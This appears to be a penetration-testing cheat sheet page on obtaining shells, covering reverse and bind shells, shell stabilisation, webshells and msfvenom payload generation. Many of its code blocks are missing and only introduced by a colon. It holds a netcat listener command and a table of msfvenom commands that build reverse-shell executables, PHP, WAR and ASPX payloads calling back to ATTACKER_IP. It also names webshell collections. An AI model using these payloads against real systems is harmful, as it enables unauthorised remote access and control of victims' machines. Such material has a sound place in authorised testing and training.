Skip to main content
A shell is just an interactive command prompt on the target machine, your way of actually running commands once you’ve broken in rather than exploiting the same bug over and over. In offensive security, getting a shell is usually the real goal behind an exploit: a file upload bug, a command injection, or an RCE is only useful insofar as it lets you get one. There are two main ways a shell can be delivered, depending on which side initiates the connection.

Reverse Shell

The target connects out to you. You set up a listener on your own machine, trigger the payload, and the target calls back to it. This is by far the more common approach, since it works even behind a NAT or firewall that blocks inbound connections but allows outbound traffic.

Bind Shell

The target opens a port and waits for you to connect to it. Useful when outbound traffic from the target is restricted, but less reliable in practice since inbound firewall rules usually block unsolicited connections too.
Beyond these two, there’s also the webshell: a script dropped on a compromised web server that gives you command execution through HTTP requests instead of a raw TCP connection. It trades the interactivity of a true shell for persistence through a channel that’s less likely to get blocked. Covered in its own section further down.
Start your listener before triggering any payload: nc -lvnp 4444. Replace ATTACKER_IP and 4444 throughout with your actual IP and port.

Reverse Shells

Pick the tab for whatever’s available on the target. If your first attempt gets blocked or the process just dies, the fallback variants in each tab exist for exactly that reason.
If special characters get mangled or filtered, Base64-encode the payload instead:
When /dev/tcp isn’t compiled into the shell at all, fall back to a named pipe:

Bind Shells

Bind shells flip the direction: the target listens and you connect to it. You’ll reach for this mainly when outbound traffic from the target is blocked but you can still hit an inbound port, which is less common than the reverse case but worth having ready.

Shell Stabilization

A raw shell has no job control, no tab completion, and tends to die on Ctrl+C. Before doing any real work, it’s worth the ten seconds to upgrade it into something that behaves like a real terminal. The standard method combines a Python pty with a bit of terminal plumbing:
For the best result overall, socat gives you a fully interactive, resizable TTY:
This is closer to an actual SSH session than anything nc-based, with proper signal handling and window resizing. For the full breakdown of why each method works, see ropnop’s writeup.
Running rlwrap nc -lvnp 4444 instead of plain nc gives you command history and line editing on your own listener, which is easy to forget and genuinely useful.

Webshells

A webshell is a small script dropped on a compromised web server that lets you run commands through HTTP requests instead of a live socket connection. They’re most useful when you need persistent access through a web app after the initial foothold, or when outbound connections for a reverse shell just aren’t working.
Weevely generates an obfuscated, password-protected PHP webshell and gives you a pseudo-terminal interface over HTTP instead of raw curl requests:
Pre-built webshell collections worth keeping on hand: Laudanum, phpbash, php-reverse-shell, and wwwolf-php-webshell.

MSFVenom Payload Generation

When you need a standalone binary rather than a one-liner, msfvenom builds the payload and multi/handler catches it. This is the usual route for dropping an executable rather than running an inline command.
TargetCommand
Linux ELFmsfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f elf > shell.elf
Windows EXEmsfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f exe > shell.exe
Windows meterpreter (x64)msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f exe > shell.exe
PHPmsfvenom -p php/reverse_php LHOST=ATTACKER_IP LPORT=443 -f raw > shell.php
Java WARmsfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f war > shell.war
ASPXmsfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f aspx > shell.aspx
Catch msfvenom payload it with the msfconsole handler:
Already have a plain shell and want Meterpreter’s extra features instead? Upgrade it mid-session:

Quick Reference Tools

revshells.com

Generates ready-to-use payloads for dozens of languages and encodings on the fly.

PayloadsAllTheThings

The definitive community-maintained reverse shell cheatsheet, good for anything missing here.
Replace ATTACKER_IP and ports with your real listener details. For authorized penetration tests, CTFs, and lab environments only.